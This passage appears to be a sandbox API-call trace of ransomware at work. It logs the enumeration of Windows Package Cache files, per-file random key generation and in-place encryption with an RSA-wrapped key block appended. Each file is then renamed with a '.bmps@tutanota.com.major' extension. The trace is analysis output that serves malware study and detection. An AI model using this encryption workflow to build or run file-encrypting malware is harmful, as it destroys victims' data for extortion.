[0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] FindNextFileW (in: hFindFile=0x653c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21abdb87, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21abdb87, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21abdb87, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] FindNextFileW (in: hFindFile=0x653c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] GetLastError () returned 0x0 [0173.638] SetLastError (dwErrCode=0x0) [0173.638] FindNextFileW (in: hFindFile=0x653c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0173.639] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0173.639] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", dwFileAttributes=0x80) returned 1 [0173.639] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0 [0173.639] GetFileSizeEx (in: hFile=0x7e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=147456) returned 1 [0173.639] ReadFile (in: hFile=0x7e0, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x24000, lpOverlapped=0x0) returned 1 [0173.679] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=-147456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.679] WriteFile (in: hFile=0x7e0, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x24000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x24000, lpOverlapped=0x0) returned 1 [0173.680] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x24000 [0173.680] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.680] WriteFile (in: hFile=0x7e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0173.680] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0173.681] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0173.681] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="d0ve9zvl0UhZx3zxBHSgp8wwYCv5fWcsA2Ero3FAnSb8URRjXpqhD7cScz24g6ll\nyimEh1Y7P86NgtmugYjO/MpbWReCsyq4OEB6kQRL0/4Avb8FysEWZ/2+xKZ7Dq+N\nBSkXYeTPWfJUE07qD34UJyEXLJkWowylmBJfTLIAcKqDDdM2Q/SnS+t+0lW9+V+w\nlMVgv92QHLkRkQVC3OJKnLwhckhAq/S5G0QdtIZ9ia/1WOLv0ggvTsMmXRXAnmU+\notMqGgf7ZrEmuDy7dGmcaqTCt0v2RvmSBYJBW5eDWhGxlSk8xCaKw/JIsD9obwQs\nH11R1BiGODcEW46YvBpxRw==\n", pcchString=0x2e3f9a8) returned 1 [0173.681] WriteFile (in: hFile=0x7e0, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0173.681] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.681] WriteFile (in: hFile=0x7e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.681] CloseHandle (hObject=0x7e0) returned 1 [0173.681] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0173.683] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0173.683] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0173.684] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0 [0173.684] GetFileSizeEx (in: hFile=0x7e0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1462871) returned 1 [0173.684] ReadFile (in: hFile=0x7e0, lpBuffer=0x314a020, nNumberOfBytesToRead=0x165257, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314a020*, lpNumberOfBytesRead=0x2e3f9b4*=0x165257, lpOverlapped=0x0) returned 1 [0173.827] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=-1462871, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.827] WriteFile (in: hFile=0x7e0, lpBuffer=0x32ca020*, nNumberOfBytesToWrite=0x165257, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x32ca020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x165257, lpOverlapped=0x0) returned 1 [0173.833] SetFilePointer (in: hFile=0x7e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x165257 [0173.833] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.833] WriteFile (in: hFile=0x7e0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0173.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0173.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0173.834] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="JDDNTT14W1hABIp0dEu0QuBByWENM4LiliY5zwscU/fQWYlqyEAXASRBZYolvQcw\ndLJGMLSwGghZGFlhU5qHyqbjHP7ZJLxoqcurdy3EhdTgoi9JAWURX3EfHv422aLR\n/jn5V4AoxHuHPY85bWn6JB9dio3lC2cVrR08TCCFquE8qmIHOvD7TE7jU179GgPT\nVQUzSBcnk+rzuUR/ibMASTreHRGGx9VMH9FG9b9pN3lvrKqk5I3ppMJlOcMh7CjP\nUOew1T7c+NSAMZ3StwvCH3bBCFxu0GfQJr+vVkf0mkH17Yh2iX1+3WvDWxggjtAM\nxVLmdMWMY+tkHT60hZ11QA==\n", pcchString=0x2e3f9a8) returned 1 [0173.834] WriteFile (in: hFile=0x7e0, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0173.834] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.834] WriteFile (in: hFile=0x7e0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.834] CloseHandle (hObject=0x7e0) returned 1 [0173.834] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0173.836] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21abdb87, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653e60 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] FindNextFileW (in: hFindFile=0x653e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21abdb87, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] FindNextFileW (in: hFindFile=0x653e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] FindNextFileW (in: hFindFile=0x653e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21abdb87, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21abdb87, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0173.836] SetLastError (dwErrCode=0x0) [0173.836] GetLastError () returned 0x0 [0173.837] SetLastError (dwErrCode=0x0) [0173.837] GetLastError () returned 0x0 [0173.837] SetLastError (dwErrCode=0x0) [0173.837] FindNextFileW (in: hFindFile=0x653e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0173.837] SetLastError (dwErrCode=0x0) [0173.837] GetLastError () returned 0x0 [0173.837] SetLastError (dwErrCode=0x0) [0173.837] GetLastError () returned 0x0 [0173.837] SetLastError (dwErrCode=0x0) [0173.837] FindNextFileW (in: hFindFile=0x653e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0173.837] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0173.837] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", dwFileAttributes=0x80) returned 1 [0173.838] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4 [0173.838] GetFileSizeEx (in: hFile=0x7e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=143360) returned 1 [0173.838] ReadFile (in: hFile=0x7e4, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0173.869] SetFilePointer (in: hFile=0x7e4, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.869] WriteFile (in: hFile=0x7e4, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0173.870] SetFilePointer (in: hFile=0x7e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23000 [0173.870] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.870] WriteFile (in: hFile=0x7e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.870] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0173.870] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0173.870] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0173.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="WDU+gdR3D0TtuAG6o4ulWqpyRzX/4v20K9fUGsXUcjEJKt+18AUX2lH0bJwUvaUF\nQVdkzTIblxiM62g4/jRWuXQnB35ixk3l1BcFl9arh2mcKmX6Ou0p8Xd9M+GFSgTA\n3/kwZudwO4XafglgrLMOoy7a6a1nIRJZFH2rYAIlGk1ZhMsHWSd4FgIiy5+KRV48\nkPf2aBIu/CnX6Jhqm3KvuNqoCmKEG0ICbh4Sit7UW0v4HFkJP6Zlb3DYJoKVEQ98\n9n5L27SSmUqns0FUFixJ6kAVqQe7sVwGgZ74s5iyLz2e3H5UYFY5l49zLBzb8WbQ\nhBgVv199RBD0XgDXAxs7UA==\n", pcchString=0x2e3f9a8) returned 1 [0173.871] WriteFile (in: hFile=0x7e4, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0173.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0173.871] WriteFile (in: hFile=0x7e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0173.871] CloseHandle (hObject=0x7e4) returned 1 [0173.871] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0173.872] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0173.872] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0173.873] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4 [0173.873] GetFileSizeEx (in: hFile=0x7e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5588256) returned 1 [0173.873] ReadFile (in: hFile=0x7e4, lpBuffer=0x3149020, nNumberOfBytesToRead=0x554520, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3149020*, lpNumberOfBytesRead=0x2e3f9b4*=0x554520, lpOverlapped=0x0) returned 1 [0174.141] SetFilePointer (in: hFile=0x7e4, lDistanceToMove=-5588256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.141] WriteFile (in: hFile=0x7e4, lpBuffer=0x36ab020*, nNumberOfBytesToWrite=0x554520, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36ab020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x554520, lpOverlapped=0x0) returned 1 [0174.211] SetFilePointer (in: hFile=0x7e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x554520 [0174.211] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.211] WriteFile (in: hFile=0x7e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.211] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0174.211] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0174.211] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0174.211] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="wdLdzNU9efpM3LPiChd9AvHcqSLqNXHRyWGTDnBEaTyYeer+qjKeC1wvIWBdLkRk\nJ53uN2SyYjShDzIQe6/53k9unbp9Gz4HEIEMzP7zCyk3rM+Rzy+kfhRKy06mFY0F\nzDTnUMPiTVqosCxSCozn0Vj8HTNvcxLiuK66cQvIsbxLrk3px2H8T9KnEWbOpPjM\nsKQRjDZ5iEnIGaootbSX3IsTsMIaz8U0qPhvoRPZZnBXCSqxETqyTmB4O7KbI3fC\nXotA+VgwoSK1XeKmXkp1i0Ilchtkl3h19q0ItjwRXFAhiircLJrBO3dd9Bk0dJXN\nvH7Ezr/+xjXRWznHi7/sPQ==\n", pcchString=0x2e3f9a8) returned 1 [0174.211] WriteFile (in: hFile=0x7e4, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, 